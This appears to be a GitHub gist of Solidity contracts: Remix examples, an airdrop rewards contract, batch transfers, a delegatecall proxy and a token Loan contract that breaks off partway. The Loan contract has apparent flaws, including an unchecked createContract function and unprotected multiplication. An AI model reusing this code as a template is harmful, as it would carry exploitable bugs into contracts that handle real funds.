Created
December 4, 2020 03:34
-
-
Save athlona64/880de70c5cf2c8530e562fe6b7ad583f to your computer and use it in GitHub Desktop.
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.4.19+commit.c4cbbb05.js&optimize=false&runs=200&gist=
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity >=0.4.22 <0.7.0; | |
| /** | |
| * @title Storage | |
| * @dev Store & retrieve value in a variable | |
| */ | |
| contract Storage { | |
| uint256 number; | |
| /** | |
| * @dev Store value in variable | |
| * @param num value to store | |
| */ | |
| function store(uint256 num) public { | |
| number = num; | |
| } | |
| /** | |
| * @dev Return value | |
| * @return value of 'number' | |
| */ | |
| function retrieve() public view returns (uint256){ | |
| return number; | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity >=0.4.22; | |
| /** | |
| * @title Owner | |
| * @dev Set & change owner | |
| */ | |
| contract Owner { | |
| address private owner; | |
| // event for EVM logging | |
| event OwnerSet(address indexed oldOwner, address indexed newOwner); | |
| // modifier to check if caller is owner | |
| modifier isOwner() { | |
| // If the first argument of 'require' evaluates to 'false', execution terminates and all | |
| // changes to the state and to Ether balances are reverted. | |
| // This used to consume all gas in old EVM versions, but not anymore. | |
| // It is often a good idea to use 'require' to check if functions are called correctly. | |
| // As a second argument, you can also provide an explanation about what went wrong. | |
| require(msg.sender == owner, "Caller is not owner"); | |
| _; | |
| } | |
| /** | |
| * @dev Set contract deployer as owner | |
| */ | |
| constructor() public { | |
| owner = msg.sender; // 'msg.sender' is sender of current call, contract deployer for a constructor | |
| emit OwnerSet(address(0), owner); | |
| } | |
| /** | |
| * @dev Change owner | |
| * @param newOwner address of new owner | |
| */ | |
| function changeOwner(address newOwner) public isOwner { | |
| emit OwnerSet(owner, newOwner); | |
| owner = newOwner; | |
| } | |
| /** | |
| * @dev Return owner address | |
| * @return address of owner | |
| */ | |
| function getOwner() external view returns (address) { | |
| return owner; | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity >=0.4.22 <0.7.0; | |
| /** | |
| * @title Ballot | |
| * @dev Implements voting process along with vote delegation | |
| */ | |
| contract Ballot { | |
| struct Voter { | |
| uint weight; // weight is accumulated by delegation | |
| bool voted; // if true, that person already voted | |
| address delegate; // person delegated to | |
| uint vote; // index of the voted proposal | |
| } | |
| struct Proposal { | |
| // If you can limit the length to a certain number of bytes, | |
| // always use one of bytes1 to bytes32 because they are much cheaper | |
| bytes32 name; // short name (up to 32 bytes) | |
| uint voteCount; // number of accumulated votes | |
| } | |
| address public chairperson; | |
| mapping(address => Voter) public voters; | |
| Proposal[] public proposals; | |
| /** | |
| * @dev Create a new ballot to choose one of 'proposalNames'. | |
| * @param proposalNames names of proposals | |
| */ | |
| constructor(bytes32[] memory proposalNames) public { | |
| chairperson = msg.sender; | |
| voters[chairperson].weight = 1; | |
| for (uint i = 0; i < proposalNames.length; i++) { | |
| // 'Proposal({...})' creates a temporary | |
| // Proposal object and 'proposals.push(...)' | |
| // appends it to the end of 'proposals'. | |
| proposals.push(Proposal({ | |
| name: proposalNames[i], | |
| voteCount: 0 | |
| })); | |
| } | |
| } | |
| /** | |
| * @dev Give 'voter' the right to vote on this ballot. May only be called by 'chairperson'. | |
| * @param voter address of voter | |
| */ | |
| function giveRightToVote(address voter) public { | |
| require( | |
| msg.sender == chairperson, | |
| "Only chairperson can give right to vote." | |
| ); | |
| require( | |
| !voters[voter].voted, | |
| "The voter already voted." | |
| ); | |
| require(voters[voter].weight == 0); | |
| voters[voter].weight = 1; | |
| } | |
| /** | |
| * @dev Delegate your vote to the voter 'to'. | |
| * @param to address to which vote is delegated | |
| */ | |
| function delegate(address to) public { | |
| Voter storage sender = voters[msg.sender]; | |
| require(!sender.voted, "You already voted."); | |
| require(to != msg.sender, "Self-delegation is disallowed."); | |
| while (voters[to].delegate != address(0)) { | |
| to = voters[to].delegate; | |
| // We found a loop in the delegation, not allowed. | |
| require(to != msg.sender, "Found loop in delegation."); | |
| } | |
| sender.voted = true; | |
| sender.delegate = to; | |
| Voter storage delegate_ = voters[to]; | |
| if (delegate_.voted) { | |
| // If the delegate already voted, | |
| // directly add to the number of votes | |
| proposals[delegate_.vote].voteCount += sender.weight; | |
| } else { | |
| // If the delegate did not vote yet, | |
| // add to her weight. | |
| delegate_.weight += sender.weight; | |
| } | |
| } | |
| /** | |
| * @dev Give your vote (including votes delegated to you) to proposal 'proposals[proposal].name'. | |
| * @param proposal index of proposal in the proposals array | |
| */ | |
| function vote(uint proposal) public { | |
| Voter storage sender = voters[msg.sender]; | |
| require(sender.weight != 0, "Has no right to vote"); | |
| require(!sender.voted, "Already voted."); | |
| sender.voted = true; | |
| sender.vote = proposal; | |
| // If 'proposal' is out of the range of the array, | |
| // this will throw automatically and revert all | |
| // changes. | |
| proposals[proposal].voteCount += sender.weight; | |
| } | |
| /** | |
| * @dev Computes the winning proposal taking all previous votes into account. | |
| * @return winningProposal_ index of winning proposal in the proposals array | |
| */ | |
| function winningProposal() public view | |
| returns (uint winningProposal_) | |
| { | |
| uint winningVoteCount = 0; | |
| for (uint p = 0; p < proposals.length; p++) { | |
| if (proposals[p].voteCount > winningVoteCount) { | |
| winningVoteCount = proposals[p].voteCount; | |
| winningProposal_ = p; | |
| } | |
| } | |
| } | |
| /** | |
| * @dev Calls winningProposal() function to get the index of the winner contained in the proposals array and then | |
| * @return winnerName_ the name of the winner | |
| */ | |
| function winnerName() public view | |
| returns (bytes32 winnerName_) | |
| { | |
| winnerName_ = proposals[winningProposal()].name; | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity ^0.4.19; | |
| library SafeMath { | |
| function mul(uint a, uint b) internal pure returns (uint) { | |
| uint c = a * b; | |
| assert(a == 0 || c / a == b); | |
| return c; | |
| } | |
| function div(uint a, uint b) internal pure returns (uint) { | |
| // assert(b > 0); // Solidity automatically throws when dividing by 0 | |
| uint c = a / b; | |
| // assert(a == b * c + a % b); // There is no case in which this doesn't hold | |
| return c; | |
| } | |
| function sub(uint a, uint b) internal pure returns (uint) { | |
| assert(b <= a); | |
| return a - b; | |
| } | |
| function add(uint a, uint b) internal pure returns (uint) { | |
| uint c = a + b; | |
| assert(c >= a); | |
| return c; | |
| } | |
| function max64(uint64 a, uint64 b) internal pure returns (uint64) { | |
| return a >= b ? a : b; | |
| } | |
| function min64(uint64 a, uint64 b) internal pure returns (uint64) { | |
| return a < b ? a : b; | |
| } | |
| function max256(uint256 a, uint256 b) internal pure returns (uint256) { | |
| return a >= b ? a : b; | |
| } | |
| function min256(uint256 a, uint256 b) internal pure returns (uint256) { | |
| return a < b ? a : b; | |
| } | |
| function percent(uint numerator, uint denominator) internal pure returns(uint quotient) { | |
| // caution, check safe-to-multiply here | |
| uint _numerator = numerator * 10 ** (10); | |
| // with rounding of last digit | |
| uint _quotient = ((_numerator / denominator)) / 10; | |
| return ( _quotient); | |
| } | |
| } | |
| contract LockSmartContract { | |
| function depositToken(address likeAddr, uint amount, uint256 expire) public returns (bool); | |
| function requestWithdraw(address likeAddr) public returns (bool); | |
| function withdrawToken(address likeAddr, uint amount) public returns (bool); | |
| function getLock(address likeAddr, address _sender) public view returns (uint256); | |
| function getWithdraw(address likeAddr, address _sender) public view returns (uint8); | |
| function getAmount(address likeAddr, address _sender) public view returns (uint256); | |
| function getDepositTime(address likeAddr, address _sender) public view returns (uint256); | |
| function getActiveLock(address likeAddr) public view returns (uint256); | |
| function getAmountAll(address likeAddr, address _sender) public view returns (uint256); | |
| } | |
| contract ERC20_Interface { | |
| function totalSupply() public view returns (uint); | |
| function balanceOf(address tokenOwner) public view returns (uint balance); | |
| function allowance(address tokenOwner, address spender) public view returns (uint remaining); | |
| function transfer(address to, uint tokens) public returns (bool success); | |
| function approve(address spender, uint tokens) public returns (bool success); | |
| function transferFrom(address from, address to, uint tokens) public returns (bool success); | |
| event Transfer(address indexed from, address indexed to, uint tokens); | |
| event Approval(address indexed tokenOwner, address indexed spender, uint tokens); | |
| } | |
| contract Ownable { | |
| address public owner; | |
| address public waitNewOwner; | |
| //oracle address for feed total lock and reward this address is oracle | |
| address public oracleAddress; | |
| event transferOwner(address newOwner); | |
| function Ownable() public{ | |
| owner = msg.sender; | |
| } | |
| /** | |
| * @dev The Ownable constructor sets the original `owner` of the contract to the sender | |
| * account. | |
| */ | |
| /** | |
| * @dev Throws if called by any account other than the owner. | |
| */ | |
| modifier onlyOwner() { | |
| require(owner == msg.sender); | |
| _; | |
| } | |
| modifier onlyOracleAddress() { | |
| require(oracleAddress == msg.sender); | |
| _; | |
| } | |
| /** | |
| * @dev Allows the current owner to transfer control of the contract to a newOwner. | |
| * @param newOwner The address to transfer ownership to. | |
| * and safe new contract new owner will be accept owner | |
| */ | |
| function transferOwnership(address newOwner) onlyOwner public { | |
| if (newOwner != address(0)) { | |
| waitNewOwner = newOwner; | |
| } | |
| } | |
| function transferOracleAddress(address newOracle) onlyOwner public { | |
| if (newOracle != address(0)) { | |
| oracleAddress = newOracle; | |
| } | |
| } | |
| /** | |
| * this function accept when transfer to new owner and new owner will be accept owner for safe contract free owner | |
| */ | |
| function acceptOwnership() public { | |
| if(waitNewOwner == msg.sender) { | |
| owner = msg.sender; | |
| transferOwner(msg.sender); | |
| }else{ | |
| revert(); | |
| } | |
| } | |
| } | |
| contract Airdrop is Ownable{ | |
| using SafeMath for uint; | |
| function Airdrop(address oracle) public { | |
| oracleAddress = oracle; | |
| } | |
| enum statusAirdrop { | |
| EXPIRED, | |
| START | |
| } | |
| //round for claim | |
| mapping (address => uint256) public Round; | |
| //total token locked in smart contract | |
| mapping (address => mapping (uint256 => uint256)) public TotalLock; | |
| //total reward in this round | |
| mapping (address => mapping (uint256 => uint256)) public TotalRewards; | |
| //user claim | |
| mapping (address => mapping (address => claim)) public Claim; | |
| //check status round | |
| mapping (address => mapping (uint256 => expire)) public CheckExpire; | |
| mapping (address => uint256) public balanceToken; | |
| mapping (address => mapping (uint256 => uint256)) public balanceOfRound; | |
| event GetRewards(address _addr, address _lock, uint256 round, address sender, uint256 reward); | |
| event UpdateRewards(address _addr, address lock, uint256 rewards, uint256 round, uint256 expire); | |
| event AdminWithdrawByRound(address _addr, uint256 _round, uint256 balance); | |
| event AdminWithdraw(address _addr, uint256 balance); | |
| struct claim { | |
| uint256 lastTime; | |
| uint256 round; | |
| uint256 nextTime; | |
| uint256 amount; | |
| } | |
| struct expire { | |
| statusAirdrop status; | |
| uint256 expire; | |
| uint256 start; | |
| } | |
| //this function update round and reward, locked token by Oracle address | |
| function updateRewards(address _addr, address lock, uint256 rewards, uint256 _expire) onlyOracleAddress public{ | |
| if(rewards > ERC20_Interface(_addr).allowance(msg.sender, address(this))) { | |
| revert(); | |
| } | |
| ERC20_Interface(_addr).transferFrom(msg.sender, address(this), rewards); | |
| balanceToken[_addr] = balanceToken[_addr].add(rewards); | |
| //update round in this token address | |
| Round[_addr] = Round[_addr].add(1); | |
| uint256 activeLock = LockSmartContract(lock).getActiveLock(_addr); | |
| //set Total Lock in this round | |
| TotalLock[_addr][Round[_addr]] = activeLock; | |
| //set Total rewards in this round | |
| TotalRewards[_addr][Round[_addr]] = rewards; | |
| balanceOfRound[_addr][Round[_addr]] = rewards; | |
| uint256 currentTime = now; | |
| //set expire round in this token | |
| expire memory setExpire = CheckExpire[_addr][Round[_addr]]; | |
| setExpire.status = statusAirdrop.START; | |
| setExpire.expire = currentTime.add(_expire); | |
| setExpire.start = currentTime; | |
| //save state | |
| CheckExpire[_addr][Round[_addr]] = setExpire; | |
| UpdateRewards(_addr, lock, rewards, Round[_addr], currentTime.add(_expire)); | |
| } | |
| function getRewards(address _addr, address _lock) public returns (bool) { | |
| claim memory userClaim = Claim[_addr][msg.sender]; | |
| expire memory setExpire = CheckExpire[_addr][Round[_addr]]; | |
| uint256 currentTime = now; | |
| require(userClaim.round < Round[_addr]); | |
| require(LockSmartContract(_lock).getWithdraw(_addr, msg.sender) == 0); | |
| require(setExpire.start > LockSmartContract(_lock).getDepositTime(_addr, msg.sender)); | |
| uint256 balanceLocked = LockSmartContract(_lock).getAmountAll(_addr, msg.sender); | |
| //calculate ratio | |
| uint256 ratio = balanceLocked.percent(TotalLock[_addr][Round[_addr]]); | |
| //calculate rewards | |
| uint256 reward = ratio.mul(TotalRewards[_addr][Round[_addr]]).div(1000000000); | |
| balanceToken[_addr] = balanceToken[_addr].sub(reward); | |
| balanceOfRound[_addr][Round[_addr]] = balanceOfRound[_addr][Round[_addr]].sub(reward); | |
| ERC20_Interface(_addr).transfer(msg.sender, reward); | |
| //update state | |
| userClaim.lastTime = currentTime; | |
| userClaim.round = Round[_addr]; | |
| userClaim.nextTime = setExpire.expire.add(1); | |
| userClaim.amount = reward; | |
| Claim[_addr][msg.sender] = userClaim; | |
| GetRewards(_addr, _lock, Round[_addr], msg.sender, reward); | |
| return true; | |
| } | |
| function checkRewards(address _addr, address _lock, address _checker) public view returns (uint256){ | |
| expire memory setExpire = CheckExpire[_addr][Round[_addr]]; | |
| // return (setExpire.start, LockSmartContract(_lock).getDepositTime(_addr, _checker)); | |
| uint256 balanceLocked = LockSmartContract(_lock).getAmountAll(_addr, _checker); | |
| //calculate ratio | |
| uint256 ratio = balanceLocked.percent(TotalLock[_addr][Round[_addr]]); | |
| //calculate rewards | |
| uint256 reward = ratio.mul(TotalRewards[_addr][Round[_addr]]).div(1000000000); | |
| //check time lock user and system | |
| if(setExpire.start > LockSmartContract(_lock).getDepositTime(_addr, _checker)){ | |
| return reward; | |
| }else{ | |
| return 0; | |
| } | |
| } | |
| //admin | |
| function adminWithdrawByRound(address _addr, uint256 _round) onlyOwner public returns (bool) { | |
| uint256 balance = balanceOfRound[_addr][_round]; | |
| balanceOfRound[_addr][_round] = balanceOfRound[_addr][_round].sub(balance); | |
| require(balanceOfRound[_addr][_round] == 0); | |
| ERC20_Interface(_addr).transfer(msg.sender, balance); | |
| AdminWithdrawByRound(_addr, _round, balance); | |
| } | |
| function adminWithdraw(address _addr) onlyOwner public returns (bool) { | |
| uint256 balance = balanceToken[_addr]; | |
| balanceToken[_addr] = balanceToken[_addr].sub(balance); | |
| require(balanceToken[_addr] == 0); | |
| ERC20_Interface(_addr).transfer(msg.sender, balance); | |
| AdminWithdraw(_addr, balance); | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity ^0.4.19; | |
| library SafeMath { | |
| function mul(uint a, uint b) internal pure returns (uint) { | |
| uint c = a * b; | |
| assert(a == 0 || c / a == b); | |
| return c; | |
| } | |
| function div(uint a, uint b) internal pure returns (uint) { | |
| // assert(b > 0); // Solidity automatically throws when dividing by 0 | |
| uint c = a / b; | |
| // assert(a == b * c + a % b); // There is no case in which this doesn't hold | |
| return c; | |
| } | |
| function sub(uint a, uint b) internal pure returns (uint) { | |
| assert(b <= a); | |
| return a - b; | |
| } | |
| function add(uint a, uint b) internal pure returns (uint) { | |
| uint c = a + b; | |
| assert(c >= a); | |
| return c; | |
| } | |
| function max64(uint64 a, uint64 b) internal pure returns (uint64) { | |
| return a >= b ? a : b; | |
| } | |
| function min64(uint64 a, uint64 b) internal pure returns (uint64) { | |
| return a < b ? a : b; | |
| } | |
| function max256(uint256 a, uint256 b) internal pure returns (uint256) { | |
| return a >= b ? a : b; | |
| } | |
| function min256(uint256 a, uint256 b) internal pure returns (uint256) { | |
| return a < b ? a : b; | |
| } | |
| } | |
| /** | |
| * @title Hashed Timelock Contracts (HTLCs) on Ethereum ERC20 tokens. | |
| * | |
| * This contract provides a way to create and keep HTLCs for ERC20 tokens. | |
| * | |
| * See HashedTimelock.sol for a contract that provides the same functions | |
| * for the native ETH token. | |
| * | |
| * Protocol: | |
| * | |
| * 1) newContract(receiver, hashlock, timelock, tokenContract, amount) - a | |
| * sender calls this to create a new HTLC on a given token (tokenContract) | |
| * for a given amount. A 32 byte contract id is returned | |
| * 2) withdraw(contractId, preimage) - once the receiver knows the preimage of | |
| * the hashlock hash they can claim the tokens with this function | |
| * 3) refund() - after timelock has expired and if the receiver did not | |
| * withdraw the tokens the sender / creator of the HTLC can get their tokens | |
| * back with this function. | |
| */ | |
| contract ERC20 { | |
| function totalSupply() public view returns (uint); | |
| function balanceOf(address tokenOwner) public view returns (uint balance); | |
| function allowance(address tokenOwner, address spender) public view returns (uint remaining); | |
| function transfer(address to, uint tokens) public returns (bool success); | |
| function approve(address spender, uint tokens) public returns (bool success); | |
| function transferFrom(address from, address to, uint tokens) public returns (bool success); | |
| event Transfer(address indexed from, address indexed to, uint tokens); | |
| event Approval(address indexed tokenOwner, address indexed spender, uint tokens); | |
| } | |
| contract batchTransaction { | |
| using SafeMath for uint; | |
| event TRANSACTION(address sender, address receiver, uint amount, address token, bytes32 message); | |
| function batch(address[] _address, uint[] amount, address _token, bytes32[] _message) public returns(bool){ | |
| uint totalSent = 0; | |
| for(uint v=0;v<amount.length;v++){ | |
| totalSent = totalSent.add(amount[v]); | |
| } | |
| require(ERC20(_token).allowance(msg.sender, address(this)) >= totalSent); | |
| for(uint i=0;i<_address.length;i++){ | |
| ERC20(_token).transferFrom(msg.sender, _address[i], amount[i]); | |
| TRANSACTION(msg.sender, _address[i], amount[i], _token, _message[i]); | |
| } | |
| return true; | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /** | |
| *Submitted for verification at Etherscan.io on 2020-01-13 | |
| */ | |
| pragma solidity ^0.4.19; | |
| /// @title Proxy - Generic proxy contract allows to execute all transactions applying the code of a master contract. | |
| /// @author Stefan George - <[email protected]> | |
| /// @author Richard Meissner - <[email protected]> | |
| contract Proxy { | |
| // masterCopy always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated. | |
| // To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt` | |
| address internal masterCopy; | |
| /// @dev Constructor function sets address of master copy contract. | |
| /// @param _masterCopy Master copy address. | |
| function Proxy(address _masterCopy) | |
| public | |
| { | |
| require(_masterCopy != address(0)); | |
| masterCopy = _masterCopy; | |
| } | |
| /// @dev Fallback function forwards all transactions and returns all received return data. | |
| function () | |
| external | |
| payable | |
| { | |
| // solium-disable-next-line security/no-inline-assembly | |
| assembly { | |
| let masterCopy := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff) | |
| // 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s | |
| if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) { | |
| mstore(0, masterCopy) | |
| return(0, 0x20) | |
| } | |
| calldatacopy(0, 0, calldatasize()) | |
| let success := delegatecall(gas, masterCopy, 0, calldatasize(), 0, 0) | |
| returndatacopy(0, 0, returndatasize()) | |
| if eq(success, 0) { revert(0, returndatasize()) } | |
| return(0, returndatasize()) | |
| } | |
| } | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity ^0.4.19; | |
| library SafeMath { | |
| function mul(uint a, uint b) internal pure returns (uint) { | |
| uint c = a * b; | |
| assert(a == 0 || c / a == b); | |
| return c; | |
| } | |
| function div(uint a, uint b) internal pure returns (uint) { | |
| // assert(b > 0); // Solidity automatically throws when dividing by 0 | |
| uint c = a / b; | |
| // assert(a == b * c + a % b); // There is no case in which this doesn't hold | |
| return c; | |
| } | |
| function sub(uint a, uint b) internal pure returns (uint) { | |
| assert(b <= a); | |
| return a - b; | |
| } | |
| function add(uint a, uint b) internal pure returns (uint) { | |
| uint c = a + b; | |
| assert(c >= a); | |
| return c; | |
| } | |
| function max64(uint64 a, uint64 b) internal pure returns (uint64) { | |
| return a >= b ? a : b; | |
| } | |
| function min64(uint64 a, uint64 b) internal pure returns (uint64) { | |
| return a < b ? a : b; | |
| } | |
| function max256(uint256 a, uint256 b) internal pure returns (uint256) { | |
| return a >= b ? a : b; | |
| } | |
| function min256(uint256 a, uint256 b) internal pure returns (uint256) { | |
| return a < b ? a : b; | |
| } | |
| function interateRate(uint numerator, uint denominator) internal pure returns(uint quotient) { | |
| return numerator*denominator; | |
| } | |
| function mulDiv (uint x, uint y, uint z) public pure returns (uint) | |
| { | |
| return mul (x, y) / z; | |
| } | |
| } | |
| contract ERC20_Interface { | |
| function totalSupply() public view returns (uint); | |
| function balanceOf(address tokenOwner) public view returns (uint balance); | |
| function allowance(address tokenOwner, address spender) public view returns (uint remaining); | |
| function transfer(address to, uint tokens) public returns (bool success); | |
| function approve(address spender, uint tokens) public returns (bool success); | |
| function transferFrom(address from, address to, uint tokens) public returns (bool success); | |
| event Transfer(address indexed from, address indexed to, uint tokens); | |
| event Approval(address indexed tokenOwner, address indexed spender, uint tokens); | |
| } | |
| contract Collateral_Interface { | |
| function getTransfer(address likeAddr, address _sender) public view returns (bool); | |
| function getLock(address likeAddr, address _sender) public view returns (uint256); | |
| function getAmountAll(address likeAddr, address _sender) public view returns (uint256); | |
| function getWithdraw(address likeAddr, address _sender) public view returns (bool); | |
| function getAmount(address likeAddr, address _sender) public view returns (uint256); | |
| function getDepositTime(address likeAddr, address _sender) public view returns (uint256); | |
| function getActiveLock(address likeAddr) public view returns (uint256); | |
| function transferWithdrawFund(address likeAddr, address borrower, uint amount) public returns (bool); | |
| function transferDepositFund(address likeAddr, address borrower, uint amount, uint canTransfer) public returns (bool); | |
| } | |
| contract Ownable { | |
| address public owner; | |
| address public waitNewOwner; | |
| event transferOwner(address newOwner); | |
| function Ownable() public{ | |
| owner = msg.sender; | |
| } | |
| /** | |
| * @dev The Ownable constructor sets the original `owner` of the contract to the sender | |
| * account. | |
| */ | |
| /** | |
| * @dev Throws if called by any account other than the owner. | |
| */ | |
| modifier onlyOwner() { | |
| require(owner == msg.sender); | |
| _; | |
| } | |
| /** | |
| * @dev Allows the current owner to transfer control of the contract to a newOwner. | |
| * @param newOwner The address to transfer ownership to. | |
| * and safe new contract new owner will be accept owner | |
| */ | |
| function transferOwnership(address newOwner) onlyOwner public { | |
| if (newOwner != address(0)) { | |
| waitNewOwner = newOwner; | |
| } | |
| } | |
| /** | |
| * this function accept when transfer to new owner and new owner will be accept owner for safe contract free owner | |
| */ | |
| function acceptOwnership() public { | |
| if(waitNewOwner == msg.sender) { | |
| owner = msg.sender; | |
| transferOwner(msg.sender); | |
| }else{ | |
| revert(); | |
| } | |
| } | |
| } | |
| contract Loan is Ownable { | |
| event RePay(address borrower, address _like, address _lock, uint256 amount, uint256 dept); | |
| event changeInterestor(address interestor); | |
| event changeInterestRate(uint256 rate); | |
| event InitLoan(address borrower, address _like, address _lock, uint256 amount); | |
| function Loan() public { | |
| InterestorKeep = msg.sender; | |
| } | |
| using SafeMath for uint; | |
| uint256 public interest = 50000000000000000; | |
| uint256 public roundInterest = 0; | |
| uint256 public limitLoan = 50; | |
| uint256 public endDate = 1 days; | |
| address public InterestorKeep; | |
| struct interestRound { | |
| uint256 interest; | |
| uint256 round; | |
| uint256 timestamp; | |
| } | |
| struct Loans { | |
| address borrower; | |
| uint256 startTime; | |
| uint256 interest; | |
| uint256 endTime; | |
| uint256 dept; | |
| uint256 amountInterest; | |
| uint256 principal; | |
| uint256 collateral; | |
| uint256 repayPrincipal; | |
| uint256 repayInterest; | |
| statusLoan isActive; | |
| } | |
| enum statusLoan { | |
| INACTIVE, | |
| ACTIVE | |
| } | |
| enum statusLockTransfer { | |
| ACTIVE, | |
| INACTIVE | |
| } | |
| enum statusWithdraw { | |
| INACTIVE, | |
| ACTIVE | |
| } | |
| address[] public user; | |
| address[] public userReserve; | |
| mapping (address => Loans) public contractLoans; | |
| mapping (uint256 => interestRound) public interestHistory; | |
| uint256 public balance; | |
| uint256 public totalIncome; | |
| function setInterestor(address inter) public onlyOwner returns (bool) { | |
| InterestorKeep = inter; | |
| changeInterestor(inter); | |
| return true; | |
| } | |
| //เปลี่ยนอัตราดอกเบี้ย | |
| function changeInterest(uint256 _interest) public onlyOwner returns (bool){ | |
| roundInterest = roundInterest.add(1); | |
| interestRound memory inter = interestHistory[roundInterest]; | |
| inter.interest = inter.interest.add(_interest); | |
| inter.round = roundInterest; | |
| inter.timestamp = now; | |
| interestHistory[roundInterest] = inter; | |
| interest = _interest; | |
| changeInterestRate(interest); | |
| return true; | |
| } | |
| function approvalContract(address _like, address spender, uint256 value) public onlyOwner returns (bool) { | |
| ERC20_Interface(_like).approve(spender, value); | |
| return true; | |
| } | |
| function removeApproval(address _like, address spender) public onlyOwner returns (bool) { | |
| ERC20_Interface(_like).approve(spender, 0); | |
| return true; | |
| } | |
| function initLoan(address _like, address _lock, uint256 borrowAmount) public returns (bool){ | |
| bool isTransfer = Collateral_Interface(_lock).getTransfer(_like, msg.sender); | |
| uint256 collateral = Collateral_Interface(_lock).getLock(_like, msg.sender); | |
| bool isWithdraw = Collateral_Interface(_lock).getWithdraw(_like, msg.sender); | |
| require(isWithdraw == false); | |
| require(!isTransfer); | |
| require(collateral > 0); | |
| uint256 maxLoan = collateral.interateRate(limitLoan*10**16).div(1000000000000000000); | |
| require(maxLoan >= borrowAmount); | |
| require(Collateral_Interface(_lock).transferWithdrawFund(_like, msg.sender, borrowAmount)); | |
| Loans memory bookInit = contractLoans[msg.sender]; | |
| //check ว่ามีสัญญาอยู่ไหม | |
| require(bookInit.isActive == statusLoan.INACTIVE); | |
| bookInit.borrower = msg.sender; | |
| bookInit.startTime = now; | |
| bookInit.endTime = now + endDate; | |
| bookInit.interest = interest; | |
| bookInit.principal = borrowAmount; | |
| bookInit.collateral = maxLoan; | |
| bookInit.isActive = statusLoan.ACTIVE; | |
| contractLoans[msg.sender] = bookInit; | |
| //add user loans | |
| user.push(msg.sender); | |
| InitLoan(msg.sender, _like, _lock, borrowAmount); | |
| return true; | |
| } | |
| function getTotalUser() public view returns (uint256) { | |
| return user.length; | |
| } | |
| function createContract(uint256 principal) public returns (bool){ | |
| Loans memory borrower = contractLoans[msg.sender]; | |
| borrower.borrower = msg.sender; | |
| borrower.startTime = now; | |
| borrower.interest = 50000000000000000; | |
| borrower.endTime = now + 1 years; | |
| borrower.principal = principal; | |
| borrower.collateral = 2000*10**18; | |
| contractLoans[msg.sender] = borrower; | |
| return true; | |
| } | |
| function removeUser() internal returns (bool) { | |
| for(uint256 i=0;i<user.length;i++){ | |
| userReserve.push(user[i]); | |
| } | |
| for(uint256 v=0;v<userReserve.length;v++){ | |
| if(user[v] != msg.sender){ | |
| user[v] = userReserve[v]; | |
| } | |
| } | |
| user.length--; | |
| delete userReserve; | |
| return true; | |
| } | |
| function rePay(address _like, address _lock, uint256 amount) public returns (bool) { | |
| Loans memory borrower = contractLoans[msg.sender]; | |
| uint256 period = now.sub(borrower.startTime); | |
| uint256 ratio = borrower.interest.div(31556952); | |
| uint256 percent = ratio.mul(period); | |
| uint256 dept = percent.mulDiv(borrower.principal, 1000000000000000000); | |
| uint256 principal = amount - dept; | |
| //เงินต้นที่คงเหลือที่ใช้ในการคำนวนดอกเบี้ยในการชำระครั้งต่อไป | |
| uint256 paidPrincipal = 0; | |
| //ส่วนที่ต้องโอนคืนกรณีชำระเกินมา** | |
| uint256 fundRevese = 0; | |
| //ยอดที่ชำระส่วนเงินต้น | |
| uint256 sumPaid = 0; | |
| //ตรวจสอบว่าเงินต้นที่ต้องคืนน้อยกว่ายอดชำระไหม | |
| if(borrower.principal <= principal){ | |
| ERC20_Interface(_like).transferFrom(msg.sender, address(InterestorKeep), dept); | |
| Collateral_Interface(_lock).transferDepositFund(_like, msg.sender, borrower.principal, 0); | |
| paidPrincipal = 0; | |
| balance = balance.add(borrower.principal); | |
| totalIncome = totalIncome.add(dept); | |
| sumPaid = borrower.principal; | |
| //คืนส่วนเกิน | |
| fundRevese = principal.sub(borrower.principal); | |
| //ปรับสถานะเป็นไม่มีหนี้ | |
| borrower.isActive = statusLoan.INACTIVE; | |
| removeUser(); | |
| }else{ | |
| ERC20_Interface(_like).transferFrom(msg.sender, address(InterestorKeep), dept); | |
| balance = balance.add(principal); | |
| totalIncome = totalIncome.add(dept); | |
| Collateral_Interface(_lock).transferDepositFund(_like, msg.sender, principal, 1); | |
| paidPrincipal = borrower.principal.sub(principal); | |
| sumPaid = principal; | |
| } | |
| borrower.repayPrincipal = borrower.repayPrincipal.add(sumPaid); | |
| borrower.repayInterest = borrower.repayInterest.add(dept); | |
| borrower.startTime = now; | |
| borrower.principal = paidPrincipal; | |
| contractLoans[msg.sender] = borrower; | |
| RePay(msg.sender, _like, _lock, sumPaid, dept); | |
| return true; | |
| } | |
| function rePayAll(address _like, address _lock) public returns (bool) { | |
| Loans memory borrower = contractLoans[msg.sender]; | |
| uint256 period = now.sub(borrower.startTime); | |
| uint256 ratio = borrower.interest.div(31556952); | |
| uint256 percent = ratio.mul(period); | |
| uint256 dept = percent.mulDiv(borrower.principal, 1000000000000000000); | |
| //เงินต้นที่คงเหลือที่ใช้ในการคำนวนดอกเบี้ยในการชำระครั้งต่อไป | |
